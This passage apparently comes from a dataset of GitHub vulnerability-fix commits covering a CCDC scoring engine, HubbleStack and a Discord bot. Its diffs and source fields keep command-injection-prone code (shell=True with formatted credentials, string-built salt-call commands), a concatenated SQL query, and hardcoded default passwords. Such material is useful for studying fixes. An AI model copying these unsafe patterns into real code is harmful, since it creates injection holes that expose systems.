[13,14,15,16,17]\n+120:1,tmalory,Password1!,[13,14,15,16,17]\n+121:1,pmalissia,Password1!,[13,14,15,16,17]\n+122:1,hmarje,Password1!,[13,14,15,16,17]\n+123:1,kkore,Password1!,[13,14,15,16,17]\n+124:1,mbeilul,Password1!,[13,14,15,16,17]\n+125:1,bjohnna,Password1!,[13,14,15,16,17]\n+126:1,efilia,Password1!,[13,14,15,16,17]\n+127:1,bkara,Password1!,[13,14,15,16,17]\n+128:1,kkarlen,Password1!,[13,14,15,16,17]\n+129:1,jcarlynn,Password1!,[13,14,15,16,17]\n+130:1,aophelia,Password1!,[13,14,15,16,17]\n+131:1,kamelia,Password1!,[13,14,15,16,17]\n+132:1,ubrett,Password1!,[13,14,15,16,17]\n+133:1,klesli,Password1!,[13,14,15,16,17]\n+134:1,anike,Password1!,[13,14,15,16,17]\n+135:1,tmarni,Password1!,[13,14,15,16,17]\n+136:1,gedyth,Password1!,[13,14,15,16,17]\n+137:1,gshauna,Password1!,[13,14,15,16,17]\n+138:1,hemmalyn,Password1!,[13,14,15,16,17]\n+139:1,acordula,Password1!,[13,14,15,16,17]\n+140:1,acathie,Password1!,[13,14,15,16,17]\n+141:1,tgwendolyn,Password1!,[13,14,15,16,17]\n+142:1,jdorisa,Password1!,[13,14,15,16,17]\n+143:1,mbrittney,Password1!,[13,14,15,16,17]\n+144:1,mbetti,Password1!,[13,14,15,16,17]\n+145:1,mpier,Password1!,[13,14,15,16,17]\n+146:1,iallison,Password1!,[13,14,15,16,17]\n+147:1,drafa,Password1!,[13,14,15,16,17]\n+148:1,lleoline,Password1!,[13,14,15,16,17]\n+149:1,cericha,Password1!,[13,14,15,16,17]\n+150:1,irozella,Password1!,[13,14,15,16,17]\n+151:1,mpearl,Password1!,[13,14,15,16,17]\n+152:albranta,Password1!,[21,22,23,36,37]\n+153:angelsspyder,Password1!,[21,22,23,36,37]\n+154:asentrion,Password1!,[21,22,23,36,37]\n+155:aspwell,Password1!,[21,22,23,36,37]\n+156:asseste,Password1!,[21,22,23,36,37]\n+157:atheriter,Password1!,[21,22,23,36,37]\n+158:babefraser,Password1!,[21,22,23,36,37]\n+159:bistercu,Password1!,[21,22,23,36,37]\n+160:blackending,Password1!,[21,22,23,36,37]\n+161:boxmoff,Password1!,[21,22,23,36,37]\n+162:boyfroneeba,Password1!,[21,22,23,36,37]\n+163:brisulate,Password1!,[21,22,23,36,37]\n+164:buddieattractive,Password1!,[21,22,23,36,37]\n+165:chicclear,Password1!,[21,22,23,36,37]\n+166:chinailee,Password1!,[21,22,23,36,37]\n+167:columnionb,Password1!,[21,22,23,36,37]\n+168:conveking,Password1!,[21,22,23,36,37]\n+169:coophone,Password1!,[21,22,23,36,37]\n+170:coveragemi,Password1!,[21,22,23,36,37]\n+171:cuteensarr,Password1!,[21,22,23,36,37]\n+172:cybitra,Password1!,[21,22,23,36,37]\n+173:dailysity,Password1!,[21,22,23,36,37]\n+174:daysmedib,Password1!,[21,22,23,36,37]\n+175:delightteen,Password1!,[21,22,23,36,37]\n+176:digillah,Password1!,[21,22,23,36,37]\n+177:dotergyru,Password1!,[21,22,23,36,37]\n+178:easystfore,Password1!,[21,22,23,36,37]\n+179:essaymedi,Password1!,[21,22,23,36,37]\n+180:expertradiant,Password1!,[21,22,23,36,37]\n+181:ezonovava,Password1!,[21,22,23,36,37]\n+182:farcellenac,Password1!,[21,22,23,36,37]\n+183:favestuf,Password1!,[21,22,23,36,37]\n+184:finelless,Password1!,[21,22,23,36,37]\n+185:fizzbrilliant,Password1!,[21,22,23,36,37]\n+186:forliferx,Password1!,[21,22,23,36,37]\n+187:foureredit,Password1!,[21,22,23,36,37]\n+188:fox2cool,Password1!,[21,22,23,36,37]\n+189:fredxan,Password1!,[21,22,23,36,37]\n+190:funkeurota,Password1!,[21,22,23,36,37]\n+191:fuzzycuddly,Password1!,[21,22,23,36,37]\n+192:glorywiseconfident,Password1!,[21,22,23,36,37]\n+193:gooblekuni,Password1!,[21,22,23,36,37]\n+194:gooblespyder,Password1!,[21,22,23,36,37]\n+195:headlines,Password1!,[21,22,23,36,37]\n+196:heavenwers,Password1!,[21,22,23,36,37]\n+197:herowaka,Password1!,[21,22,23,36,37]\n+198:holderci,Password1!,[21,22,23,36,37]\n+199:iansybeagen,Password1!,[21,22,23,36,37]\n+200:idealthorks,Password1!,[21,22,23,36,37]\n+201:idgelera,Password1!,[21,22,23,36,37]\ndiff --git a/engine.py b/engine.py\nindex 786cfc5..880d599 100755\n--- a/engine.py\n+++ b/engine.py\n@@ -21,7 +21,7 @@ def start(self):\n jitter = self.dm.settings['jitter']\n \n if running:\n- self.check(timeout)\n+ self.check()\n else:\n print(\"Stopped\")\n \n@@ -33,7 +33,7 @@ def start(self):\n print(\"Wait: \" + str(wait))\n time.sleep(wait)\n \n- def check(self, timeout):\n+ def check(self):\n print(\"New Round of Checks\")\n self.dm.reload_credentials()\n for service in self.dm.services:\ndiff --git a/model.py b/model.py\nindex df98987..e74efce 100644\n--- a/model.py\n+++ b/model.py\n@@ -168,8 +168,9 @@ def check_single(self, check_io_id, poll_input, expected):\n while tries < max_tries: \n tries += 1\n poll_result = self.poller.poll_timed(poll_input)\n- if poll_result.exception is None:\n+ if poll_result.exception is None or str(poll_result.exception) == 'None':\n break\n+\n try:\n result = self.check_function(poll_result, expected)\n except:\ndiff --git a/polling/poll_ftp.py b/polling/poll_ftp.py\nindex 396a789..1887448 100644\n--- a/polling/poll_ftp.py\n+++ b/polling/poll_ftp.py\n@@ -36,12 +36,15 @@ def poll(self, poll_input):\n try:\n ftp.connect(poll_input.server, poll_input.port, timeout=poll_input.timeout)\n ftp.login(user=username, passwd=password)\n+ ftp.set_pasv(True)\n ftp.retrbinary('RETR {}'.format(poll_input.filepath), t.write)\n ftp.quit()\n \n t.seek(0)\n result = FtpPollResult(t.read(), None)\n+ t.close()\n return result\n except Exception as e:\n+ t.close()\n result = FtpPollResult(None, e)\n return result\ndiff --git a/polling/poll_http.py b/polling/poll_http.py\nindex 336d312..a5b7ff6 100644\n--- a/polling/poll_http.py\n+++ b/polling/poll_http.py\n@@ -1,6 +1,7 @@\n import requests\n from requests.exceptions import *\n import tempfile\n+import re\n \n from .poller import PollInput, PollResult, Poller\n \n@@ -28,7 +29,8 @@ def poll(self, poll_input):\n r = requests.get('{}://{}:{}/{}'.format(proto, server, port, path), timeout=poll_input.timeout, verify=False)\n r.raise_for_status()\n \n- result = HttpPollResult(r.text, None)\n+ content = re.sub(r'\\?[^\"]*', '', r.text)\n+ result = HttpPollResult(content, None)\n return result\n except Exception as e:\n result = HttpPollResult(None, e)\ndiff --git a/polling/poll_pop.py b/polling/poll_pop.py\nindex ac36476..43710b6 100644\n--- a/polling/poll_pop.py\n+++ b/polling/poll_pop.py\n@@ -18,6 +18,9 @@ class PopPoller(Poller):\n def poll(self, poll_input):\n username = poll_input.credentials.username\n password = poll_input.credentials.password\n+# domain = poll_input.credentials.domain\n+# if domain is not None:\n+# username = '%s@%s' % (username, domain)\n \n try:\n pop = poplib.POP3(poll_input.server, poll_input.port, 2)\ndiff --git a/polling/poll_rdp.py b/polling/poll_rdp.py\nindex aa0f1c0..a8cf72e 100644\n--- a/polling/poll_rdp.py\n+++ b/polling/poll_rdp.py\n@@ -21,12 +21,12 @@ def poll(self, poll_input):\n domain = poll_input.credentials.domain\n \n if domain is None:\n- opt_str = '--ignore-certificate --authonly -u {} -p {} {}:{}'\n+ opt_str = '--ignore-certificate --authonly -u \\'{}\\' -p \\'{}\\' {}:{}'\n options = opt_str.format(\n username, password,\n poll_input.server, poll_input.port)\n else:\n- opt_str = '--ignore-certificate --authonly -d {} -u {} -p {} {}:{}'\n+ opt_str = '--ignore-certificate --authonly -d {} -u \\'{}\\' -p \\'{}\\' {}:{}'\n options = opt_str.format(\n domain.domain, username, password,\n poll_input.server, poll_input.port)\ndiff --git a/polling/poller.py b/polling/poller.py\nindex 855c5bd..098f550 100644\n--- a/polling/poller.py\n+++ b/polling/poller.py\n@@ -1,4 +1,4 @@\n-from multiprocessing import Process\n+from timeout import timeout\n import copy\n \n class PollInput(object):\n@@ -46,19 +46,13 @@ class Poller(object):\n \n \"\"\"\n def poll_timed(self, poll_input):\n- output = [None]\n- p = Process(target=self.poll_async, args=(poll_input, output))\n- p.start()\n- p.join(poll_input.timeout)\n- if p.isAlive():\n- p.terminate()\n- return PollResult(Exception('Check Timed Out'))\n- else:\n- return output[0]\n-\n- def poll_async(self, poll_input, output):\n- output[0] = self.poll(poll_input)\n+ try:\n+ poll_result = self.poll(poll_input)\n+ except:\n+ poll_result = PollResult(Exception(\"Check Timed Out\"))\n+ return poll_result\n \n+ @timeout(20)\n def poll(self, poll_input):\n \"\"\"Poll a service and return a PollResult.\n \ndiff --git a/scripts/ratio.sh b/scripts/ratio.sh\nindex f3944af..bd37094 100755\n--- a/scripts/ratio.sh\n+++ b/scripts/ratio.sh\n@@ -1,5 +1,6 @@\n #!/bin/bash\n-perc=$(mysql -u root -pUnderWaterBlowFish -e \"SELECT SUM(password='Password1!' OR password='password' OR password='bae' OR password='blade')/COUNT(*) FROM scoring.credential\")\n-perc=$(echo $perc | cut -d ' ' -f 8)\n+perc=$(mysql -u root -pPassword1! -e \"SELECT SUM(password='Password1!')/COUNT(*) AS perc FROM scoring.credential\")\n+echo $perc\n+perc=$(echo $perc | cut -d ' ' -f 2)\n date=$(date +%H:%M:%S)\n-echo $date,$perc >> /root/default.csv\n+echo $date,$perc >> /home/dsu/default.csv\ndiff --git a/scripts/team.sh b/scripts/team.sh\nindex 786b91e..291c86d 100755\n--- a/scripts/team.sh\n+++ b/scripts/team.sh\n@@ -1,7 +1,7 @@\n #!/bin/bash\n-for team in {1..3}; do\n- team_id=$((109+$team))\n- perc=$(mysql -u root -pUnderWaterBlowFish -e \"SELECT SUM(password='Password1!' OR password='password' OR password='bae' OR password='blade' AND team_id=$team_id)/COUNT(*) FROM scoring.credential\")\n- perc=$(echo $perc | cut -d ' ' -f 10)\n- echo $team,$perc\n+for team in {1..4}; do\n+ perc=$(mysql -u root -pPassword1! -e \"SELECT SUM(password='Password1!' AND team_id=$team)/SUM(team_id=$team) AS perc FROM scoring.credential\")\n+ perc=$(echo $perc | cut -d ' ' -f 2)\n+ date=$(date +%H:%M:%S)\n+ echo $date,$perc >> /home/dsu/team_\"$team\"_default.csv\n done\ndiff --git a/setup.py b/setup.py\nindex 7cd769e..1eede7e 100755\n--- a/setup.py\n+++ b/setup.py\n@@ -79,7 +79,7 @@\n # Check Input Table\n cmd = (\"CREATE TABLE check_io ( \"\n \"id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, \"\n- \"input BLOB NOT NULL, \"\n+ \"input LONGBLOB NOT NULL, \"\n \"expected TEXT NOT NULL, \"\n \"check_id INT NOT NULL, \"\n \"FOREIGN KEY (check_id) REFERENCES service_check(id) \"\n@@ -123,8 +123,8 @@\n \"check_io_id INT NOT NULL, \"\n \"team_id INT NOT NULL, \"\n \"time TIMESTAMP NOT NULL, \"\n- \"poll_input BLOB NOT NULL, \"\n- \"poll_result BLOB NOT NULL, \"\n+ \"poll_input LONGBLOB NOT NULL, \"\n+ \"poll_result LONGBLOB NOT NULL, \"\n \"result BOOL NOT NULL, \"\n \"FOREIGN KEY (check_id) REFERENCES service_check(id) \"\n \"ON DELETE CASCADE, \"\ndiff --git a/timeout.py b/timeout.py\nnew file mode 100644\nindex 0000000..4047573\n--- /dev/null\n+++ b/timeout.py\n@@ -0,0 +1,23 @@\n+# Courtesy of stackoverflow\n+from functools import wraps\n+import errno\n+import os\n+import signal\n+\n+def timeout(seconds, error_message=os.strerror(errno.ETIME)):\n+ def decorator(func):\n+ def _handle_timeout(signum, frame):\n+ raise TimeoutError(error_message)\n+\n+ def wrapper(*args, **kwargs):\n+ signal.signal(signal.SIGALRM, _handle_timeout)\n+ signal.alarm(seconds)\n+ try:\n+ result = func(*args, **kwargs)\n+ finally:\n+ signal.alarm(0)\n+ return result\n+\n+ return wraps(func)(wrapper)\n+\n+ return decorator\n", "files": {"/checker/dns_check.py": {"changes": [{"diff": "\n if poll_result.exception != \"None\":\n return False\n \n- host = poll_result.answer.split('.')[3]\n+ host = poll_result.answer\n return host in expected", "add": 1, "remove": 1, "filename": "/checker/dns_check.py", "badparts": [" host = poll_result.answer.split('.')[3]"], "goodparts": [" host = poll_result.answer"]}], "source": "\n\ndef any_match(poll_result, expected): if poll_result.exception !=\"None\": return False host=poll_result.answer.split('.')[3] return host in expected ", "sourceWithComments": "\ndef any_match(poll_result, expected):\n if poll_result.exception != \"None\":\n return False\n\n host = poll_result.answer.split('.')[3]\n return host in expected\n"}, "/checker/ssh_check.py": {"changes": [{"diff": "\n \n-def task_successful(poll_result, expected):\n+def output_check(poll_result, expected):\n \"\"\"\n Determines if a task was successful by checking that the last character\n in the output is '0'.\n", "add": 1, "remove": 1, "filename": "/checker/ssh_check.py", "badparts": ["def task_successful(poll_result, expected):"], "goodparts": ["def output_check(poll_result, expected):"]}, {"diff": "\n if poll_result.output is None:\n return False\n \n- output = poll_result.output[0]\n- return output[-2] == '0'\n+\n+ output = poll_result.output[0].strip()\n+ return output == expected[0", "add": 3, "remove": 2, "filename": "/checker/ssh_check.py", "badparts": [" output = poll_result.output[0]", " return output[-2] == '0'"], "goodparts": [" output = poll_result.output[0].strip()", " return output == expected[0"]}], "source": "\n\ndef task_successful(poll_result, expected): \"\"\" Determines if a task was successful by checking that the last character in the output is '0'. Typically a command should invoke 'echo $?' to get the return status of the last command. \"\"\" if poll_result.output is None: return False output=poll_result.output[0] return output[-2]=='0' ", "sourceWithComments": "\ndef task_successful(poll_result, expected):\n \"\"\"\n Determines if a task was successful by checking that the last character\n in the output is '0'.\n\n Typically a command should invoke 'echo $?' to get the return status of the\n last command.\n \"\"\"\n if poll_result.output is None:\n return False\n\n output = poll_result.output[0]\n return output[-2] == '0'\n"}}, "msg": "CCDC Scenario1 Mock Changes:\n- Check SSH command output\n- Better timeout mechanism\n- Remove query strings from links in HTTP pages\n- Fix RDP poller command injection (partial)\n- Fix default credential scripts\n- Larger BLOB data in database"}, "77244085365be31440c7e7909fa0cce0728d9cfc": {"url": "https://api.github.com/repos/DSU-DefSecClub/ScoringEngine/commits/77244085365be31440c7e7909fa0cce0728d9cfc", "html_url": "https://github.com/DSU-DefSecClub/ScoringEngine/commit/77244085365be31440c7e7909fa0cce0728d9cfc", "sha": "77244085365be31440c7e7909fa0cce0728d9cfc", "keyword": "command injection vulnerable", "diff": "diff --git a/scoring/engine/polling/poll_rdp.py b/scoring/engine/polling/poll_rdp.py\nindex cdd3577..2c6b24f 100644\n--- a/scoring/engine/polling/poll_rdp.py\n+++ b/scoring/engine/polling/poll_rdp.py\n@@ -19,26 +19,20 @@ def poll(self, poll_input):\n username = poll_input.credentials.username\n password = poll_input.credentials.password\n domain = poll_input.credentials.domain\n- \n- if domain is None:\n+ cmd = ['xfreerdp', '--ignore-certificate', '--authonly', '-u', username, '-p', password]\n+ if not domain is None:\n+ cmd.extend(['-d', domain])\n opt_str = '--ignore-certificate --authonly -u \\'{}\\' -p \\'{}\\' {}:{}'\n- options = opt_str.format(\n- username, password,\n- poll_input.server, poll_input.port)\n- else:\n- opt_str = '--ignore-certificate --authonly -d {} -u \\'{}\\' -p \\'{}\\' {}:{}'\n- options = opt_str.format(\n- domain.domain, username, password,\n- poll_input.server, poll_input.port)\n+ cmd.append('{}:{}'.format(poll_input.server, poll_input.port))\n \n try:\n- output = subprocess.check_output('xfreerdp {}'.format(options), shell=True, stderr=subprocess.STDOUT)\n+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)\n result = RdpPollResult(True)\n return result\n except Exception as e:\n- if ('connected to' in str(e.output) and 'Authentication failure' not in str(e.output)) or (e.returncode == 131 and 'negotiation' in str(e.output)):\n- result = RdpPollResult(True)\n- return result\n- print(\"{{{{%s}}}}\" % e.output)\n- result = RdpPollResult(False, e)\n+# if e.returncode == 131 and 'negotiation' in str(e.output) and not 'Connection reset by peer' in str(e.output):\n+# result = RdpPollResult(True)\n+# return result\n+ #print(\"{{{{%s}}}}\" % e.output)\n+ result = RdpPollResult(False, e.output)\n return result\n", "message": "", "files": {"/scoring/engine/polling/poll_rdp.py": {"changes": [{"diff": "\n username = poll_input.credentials.username\n password = poll_input.credentials.password\n domain = poll_input.credentials.domain\n- \n- if domain is None:\n+ cmd = ['xfreerdp', '--ignore-certificate', '--authonly', '-u', username, '-p', password]\n+ if not domain is None:\n+ cmd.extend(['-d', domain])\n opt_str = '--ignore-certificate --authonly -u \\'{}\\' -p \\'{}\\' {}:{}'\n- options = opt_str.format(\n- username, password,\n- poll_input.server, poll_input.port)\n- else:\n- opt_str = '--ignore-certificate --authonly -d {} -u \\'{}\\' -p \\'{}\\' {}:{}'\n- options = opt_str.format(\n- domain.domain, username, password,\n- poll_input.server, poll_input.port)\n+ cmd.append('{}:{}'.format(poll_input.server, poll_input.port))\n \n try:\n- output = subprocess.check_output('xfreerdp {}'.format(options), shell=True, stderr=subprocess.STDOUT)\n+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)\n result = RdpPollResult(True)\n return result\n except Exception as e:\n- if ('connected to' in str(e.output) and 'Authentication failure' not in str(e.output)) or (e.returncode == 131 and 'negotiation' in str(e.output)):\n- result = RdpPollResult(True)\n- return result\n- print(\"{{{{%s}}}}\" % e.output)\n- result = RdpPollResult(False, e)\n+# if e.returncode == 131 and 'negotiation' in str(e.output) and not 'Connection reset by peer' in str(e.output):\n+# result = RdpPollResult(True)\n+# return result\n+ #print(\"{{{{%s}}}}\" % e.output)\n+ result = RdpPollResult(False, e.output)\n return result\n", "add": 10, "remove": 16, "filename": "/scoring/engine/polling/poll_rdp.py", "badparts": [" if domain is None:", " options = opt_str.format(", " username, password,", " poll_input.server, poll_input.port)", " else:", " opt_str = '--ignore-certificate --authonly -d {} -u \\'{}\\' -p \\'{}\\' {}:{}'", " options = opt_str.format(", " domain.domain, username, password,", " poll_input.server, poll_input.port)", " output = subprocess.check_output('xfreerdp {}'.format(options), shell=True, stderr=subprocess.STDOUT)", " if ('connected to' in str(e.output) and 'Authentication failure' not in str(e.output)) or (e.returncode == 131 and 'negotiation' in str(e.output)):", " result = RdpPollResult(True)", " return result", " print(\"{{{{%s}}}}\" % e.output)", " result = RdpPollResult(False, e)"], "goodparts": [" cmd = ['xfreerdp', '--ignore-certificate', '--authonly', '-u', username, '-p', password]", " if not domain is None:", " cmd.extend(['-d', domain])", " cmd.append('{}:{}'.format(poll_input.server, poll_input.port))", " output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)", " result = RdpPollResult(False, e.output)"]}], "source": "\nimport subprocess from.poller import PollInput, PollResult, Poller class RdpPollInput(PollInput): def __init__(self, server=None, port=None): super(RdpPollInput, self).__init__(server, port) class RdpPollResult(PollResult): def __init__(self, authenticated, exceptions=None): super(RdpPollResult, self).__init__(exceptions) self.authenticated=authenticated class RdpPoller(Poller): def poll(self, poll_input): username=poll_input.credentials.username password=poll_input.credentials.password domain=poll_input.credentials.domain if domain is None: opt_str='--ignore-certificate --authonly -u \\'{}\\' -p \\'{}\\'{}:{}' options=opt_str.format( username, password, poll_input.server, poll_input.port) else: opt_str='--ignore-certificate --authonly -d{} -u \\'{}\\' -p \\'{}\\'{}:{}' options=opt_str.format( domain.domain, username, password, poll_input.server, poll_input.port) try: output=subprocess.check_output('xfreerdp{}'.format(options), shell=True, stderr=subprocess.STDOUT) result=RdpPollResult(True) return result except Exception as e: if('connected to' in str(e.output) and 'Authentication failure' not in str(e.output)) or(e.returncode==131 and 'negotiation' in str(e.output)): result=RdpPollResult(True) return result print(\"{{{{%s}}}}\" % e.output) result=RdpPollResult(False, e) return result ", "sourceWithComments": "import subprocess\n\nfrom .poller import PollInput, PollResult, Poller\n\nclass RdpPollInput(PollInput):\n\n def __init__(self, server=None, port=None):\n super(RdpPollInput, self).__init__(server, port)\n\nclass RdpPollResult(PollResult):\n\n def __init__(self, authenticated, exceptions=None):\n super(RdpPollResult, self).__init__(exceptions)\n self.authenticated = authenticated\n\nclass RdpPoller(Poller):\n\n def poll(self, poll_input):\n username = poll_input.credentials.username\n password = poll_input.credentials.password\n domain = poll_input.credentials.domain\n \n if domain is None:\n opt_str = '--ignore-certificate --authonly -u \\'{}\\' -p \\'{}\\' {}:{}'\n options = opt_str.format(\n username, password,\n poll_input.server, poll_input.port)\n else:\n opt_str = '--ignore-certificate --authonly -d {} -u \\'{}\\' -p \\'{}\\' {}:{}'\n options = opt_str.format(\n domain.domain, username, password,\n poll_input.server, poll_input.port)\n\n try:\n output = subprocess.check_output('xfreerdp {}'.format(options), shell=True, stderr=subprocess.STDOUT)\n result = RdpPollResult(True)\n return result\n except Exception as e:\n if ('connected to' in str(e.output) and 'Authentication failure' not in str(e.output)) or (e.returncode == 131 and 'negotiation' in str(e.output)):\n result = RdpPollResult(True)\n return result\n print(\"{{{{%s}}}}\" % e.output)\n result = RdpPollResult(False, e)\n return result\n"}}, "msg": "Fixed command injection vulnerability in RDP poller, removed exceptions for XP RDP since they just made the service show as always passing"}}, "https://github.com/hubblestack/hubble": {"d9ca4a93ea5aabb1298c5b3dbfb23e94203428b9": {"url": "https://api.github.com/repos/hubblestack/hubble/commits/d9ca4a93ea5aabb1298c5b3dbfb23e94203428b9", "html_url": "https://github.com/hubblestack/hubble/commit/d9ca4a93ea5aabb1298c5b3dbfb23e94203428b9", "sha": "d9ca4a93ea5aabb1298c5b3dbfb23e94203428b9", "keyword": "command injection protect", "diff": "diff --git a/hubblestack/extmods/grains/custom_grains_pillar.py b/hubblestack/extmods/grains/custom_grains_pillar.py\nindex 3e4d1a1f..fd2436ed 100644\n--- a/hubblestack/extmods/grains/custom_grains_pillar.py\n+++ b/hubblestack/extmods/grains/custom_grains_pillar.py\n@@ -44,26 +44,12 @@ def populate_custom_grains_and_pillar():\n custom_grains = __salt__['config.get']('custom_grains_pillar:grains', [])\n for grain in custom_grains:\n for key in grain:\n- if _valid_command(grain[key]):\n- value = __salt__['cmd.run']('salt-call grains.get {0}'.format(grain[key])).split('\\n')[1].strip()\n- grains[key] = value\n+ value = __salt__['cmd.run'](['salt-call', 'grains.get', grain[key]]).split('\\n')[1].strip()\n+ grains[key] = value\n custom_pillar = __salt__['config.get']('custom_grains_pillar:pillar', [])\n for pillar in custom_pillar:\n for key in pillar:\n- if _valid_command(pillar[key]):\n- value = __salt__['cmd.run']('salt-call pillar.get {0}'.format(pillar[key])).split('\\n')[1].strip()\n- grains[key] = value\n+ value = __salt__['cmd.run'](['salt-call', 'pillar.get', pillar[key]]).split('\\n')[1].strip()\n+ grains[key] = value\n log.debug('Done with fetching custom grains and pillar details')\n return grains\n-\n-\n-def _valid_command(string):\n- '''\n- Check for invalid characters in the pillar or grains key\n- '''\n- invalid_characters = re.findall('[^a-zA-Z0-9:_-]',string)\n- if len(invalid_characters) > 0:\n- log.info(\"Command: {0} contains invalid characters: {1}\".format(string, invalid_characters))\n- return False\n- else:\n- return True\n", "message": "", "files": {"/hubblestack/extmods/grains/custom_grains_pillar.py": {"changes": [{"diff": "\n custom_grains = __salt__['config.get']('custom_grains_pillar:grains', [])\n for grain in custom_grains:\n for key in grain:\n- if _valid_command(grain[key]):\n- value = __salt__['cmd.run']('salt-call grains.get {0}'.format(grain[key])).split('\\n')[1].strip()\n- grains[key] = value\n+ value = __salt__['cmd.run'](['salt-call', 'grains.get', grain[key]]).split('\\n')[1].strip()\n+ grains[key] = value\n custom_pillar = __salt__['config.get']('custom_grains_pillar:pillar', [])\n for pillar in custom_pillar:\n for key in pillar:\n- if _valid_command(pillar[key]):\n- value = __salt__['cmd.run']('salt-call pillar.get {0}'.format(pillar[key])).split('\\n')[1].strip()\n- grains[key] = value\n+ value = __salt__['cmd.run'](['salt-call', 'pillar.get', pillar[key]]).split('\\n')[1].strip()\n+ grains[key] = value\n log.debug('Done with fetching custom grains and pillar details')\n return grains\n-\n-\n-def _valid_command(string):\n- '''\n- Check for invalid characters in the pillar or grains key\n- '''\n- invalid_characters = re.findall('[^a-zA-Z0-9:_-]',string)\n- if len(invalid_characters) > 0:\n- log.info(\"Command: {0} contains invalid characters: {1}\".format(string, invalid_characters))\n- return False\n- else:\n- return True\n", "add": 4, "remove": 18, "filename": "/hubblestack/extmods/grains/custom_grains_pillar.py", "badparts": [" if _valid_command(grain[key]):", " value = __salt__['cmd.run']('salt-call grains.get {0}'.format(grain[key])).split('\\n')[1].strip()", " grains[key] = value", " if _valid_command(pillar[key]):", " value = __salt__['cmd.run']('salt-call pillar.get {0}'.format(pillar[key])).split('\\n')[1].strip()", " grains[key] = value", "def _valid_command(string):", " '''", " Check for invalid characters in the pillar or grains key", " '''", " invalid_characters = re.findall('[^a-zA-Z0-9:_-]',string)", " if len(invalid_characters) > 0:", " log.info(\"Command: {0} contains invalid characters: {1}\".format(string, invalid_characters))", " return False", " else:", " return True"], "goodparts": [" value = __salt__['cmd.run'](['salt-call', 'grains.get', grain[key]]).split('\\n')[1].strip()", " grains[key] = value", " value = __salt__['cmd.run'](['salt-call', 'pillar.get', pillar[key]]).split('\\n')[1].strip()", " grains[key] = value"]}], "source": "\n''' HubbleStack Custom Grains and Pillar Allows for fetching custom grain and pillar data from a local salt-minion via salt-call :maintainer: HubbleStack :platform: All :requires: SaltStack ''' import re import salt.modules.cmdmod import logging log=logging.getLogger(__name__) __salt__={ 'cmd.run': salt.modules.cmdmod._run_quiet, 'config.get': salt.modules.config.get, } def populate_custom_grains_and_pillar(): ''' Populate local salt-minion grains and pillar fields values as specified in config file. For example: custom_grains_pillar: grains: -selinux: selinux:enabled -release: osrelease pillar: -ntpserver: network_services:ntpserver Note that the core grains are already included in hubble grains --this is only necessary for custom grains and pillar data. ''' log.debug('Fetching custom grains and pillar details') grains={} salt.modules.config.__opts__=__opts__ custom_grains=__salt__['config.get']('custom_grains_pillar:grains',[]) for grain in custom_grains: for key in grain: if _valid_command(grain[key]): value=__salt__['cmd.run']('salt-call grains.get{0}'.format(grain[key])).split('\\n')[1].strip() grains[key]=value custom_pillar=__salt__['config.get']('custom_grains_pillar:pillar',[]) for pillar in custom_pillar: for key in pillar: if _valid_command(pillar[key]): value=__salt__['cmd.run']('salt-call pillar.get{0}'.format(pillar[key])).split('\\n')[1].strip() grains[key]=value log.debug('Done with fetching custom grains and pillar details') return grains def _valid_command(string): ''' Check for invalid characters in the pillar or grains key ''' invalid_characters=re.findall('[^a-zA-Z0-9:_-]',string) if len(invalid_characters) > 0: log.info(\"Command:{0} contains invalid characters:{1}\".format(string, invalid_characters)) return False else: return True ", "sourceWithComments": "'''\nHubbleStack Custom Grains and Pillar\n\nAllows for fetching custom grain and pillar data from a local salt-minion via\nsalt-call\n\n:maintainer: HubbleStack\n:platform: All\n:requires: SaltStack\n'''\n\nimport re\nimport salt.modules.cmdmod\nimport logging\n\nlog = logging.getLogger(__name__)\n\n__salt__ = {\n 'cmd.run': salt.modules.cmdmod._run_quiet,\n 'config.get': salt.modules.config.get,\n}\n\n\ndef populate_custom_grains_and_pillar():\n '''\n Populate local salt-minion grains and pillar fields values as specified in\n config file.\n\n For example:\n\n custom_grains_pillar:\n grains:\n - selinux: selinux:enabled\n - release: osrelease\n pillar:\n - ntpserver: network_services:ntpserver\n\n Note that the core grains are already included in hubble grains -- this\n is only necessary for custom grains and pillar data.\n '''\n log.debug('Fetching custom grains and pillar details')\n grains = {}\n salt.modules.config.__opts__ = __opts__\n custom_grains = __salt__['config.get']('custom_grains_pillar:grains', [])\n for grain in custom_grains:\n for key in grain:\n if _valid_command(grain[key]):\n value = __salt__['cmd.run']('salt-call grains.get {0}'.format(grain[key])).split('\\n')[1].strip()\n grains[key] = value\n custom_pillar = __salt__['config.get']('custom_grains_pillar:pillar', [])\n for pillar in custom_pillar:\n for key in pillar:\n if _valid_command(pillar[key]):\n value = __salt__['cmd.run']('salt-call pillar.get {0}'.format(pillar[key])).split('\\n')[1].strip()\n grains[key] = value\n log.debug('Done with fetching custom grains and pillar details')\n return grains\n\n\ndef _valid_command(string):\n '''\n Check for invalid characters in the pillar or grains key\n '''\n invalid_characters = re.findall('[^a-zA-Z0-9:_-]',string)\n if len(invalid_characters) > 0:\n log.info(\"Command: {0} contains invalid characters: {1}\".format(string, invalid_characters))\n return False\n else:\n return True\n"}}, "msg": "Allow for spaces and other characters in keys\n\nUsing the list format protects from command injection"}}, "https://github.com/Renondedju/Uso-Bot": {"655403b83e4a8b5439fc7d4e4f2163419a0b1687": {"url": "https://api.github.com/repos/Renondedju/Uso-Bot/commits/655403b83e4a8b5439fc7d4e4f2163419a0b1687", "html_url": "https://github.com/Renondedju/Uso-Bot/commit/655403b83e4a8b5439fc7d4e4f2163419a0b1687", "message": "Fix - support and status command\n\nFixed a huge security issue (Sql injection)\nSupport command added\nstatus command added (only admins)", "sha": "655403b83e4a8b5439fc7d4e4f2163419a0b1687", "keyword": "command injection fix", "diff": "diff --git a/Uso!bot/OsuBot.py b/Uso!bot/OsuBot.py\nindex 4227311..38640f6 100644\n--- a/Uso!bot/OsuBot.py\n+++ b/Uso!bot/OsuBot.py\n@@ -30,7 +30,7 @@ def return_user_rank(discordId):\n \tif not discordId == constants.Settings.ownerDiscordId:\n \t\tconn = sqlite3.connect(databasePath)\n \t\tcursor = conn.cursor()\n-\t\tcursor.execute(\"SELECT rank FROM users WHERE discordId = \" + str(discordId))\n+\t\tcursor.execute(\"SELECT rank FROM users WHERE discordId = ?\", (str(discordId),))\n \t\ttry:\n \t\t\trank = cursor.fetchall()[0][0]\n \t\texcept IndexError:\n@@ -57,7 +57,7 @@ def update_pp_stats(osuId, discordId):\n \t\t\treturn 1\n 